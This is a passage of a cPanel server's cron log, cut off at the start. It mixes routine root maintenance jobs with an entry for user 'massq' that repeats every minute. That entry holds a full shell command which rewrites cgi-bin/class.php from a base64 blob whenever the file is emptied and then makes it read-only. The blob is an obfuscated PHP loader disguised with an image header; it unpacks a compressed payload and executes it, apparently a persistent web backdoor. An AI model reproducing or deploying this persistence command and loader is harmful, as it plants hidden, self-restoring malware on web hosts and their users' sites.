QV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:46:01 server CROND[10209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:47:01 server CROND[10592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:47:01 server CROND[10593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:47:01 server CROND[10594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:48:01 server CROND[11008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:48:01 server CROND[11009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:48:01 server CROND[11010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:49:01 server CROND[11375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:49:01 server CROND[11376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:49:01 server CROND[11377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:50:01 server CROND[11753]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:50:01 server CROND[11755]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 20:50:01 server CROND[11756]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 20:50:01 server CROND[11764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:50:01 server CROND[11766]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 20:50:01 server CROND[11765]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:50:01 server CROND[11769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:50:01 server CROND[11767]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 20:50:01 server CROND[11770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:51:01 server CROND[12739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:51:01 server CROND[12740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:51:01 server CROND[12741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:52:01 server CROND[13104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:52:01 server CROND[13105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:52:01 server CROND[13106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:53:01 server CROND[13589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:53:01 server CROND[13590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:53:01 server CROND[13591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:54:01 server CROND[13971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:54:01 server CROND[13970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:54:01 server CROND[13972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:55:01 server CROND[14352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:55:01 server CROND[14353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:55:01 server CROND[14354]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 20:55:01 server CROND[14357]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:55:01 server CROND[14356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:55:01 server CROND[14355]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:55:01 server CROND[14358]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 20:56:01 server CROND[15169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:56:01 server CROND[15170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:56:01 server CROND[15171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:57:01 server CROND[15534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:57:01 server CROND[15535]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 20:57:01 server CROND[15536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:57:01 server CROND[15537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:58:01 server CROND[15995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:58:01 server CROND[15996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:58:01 server CROND[15997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
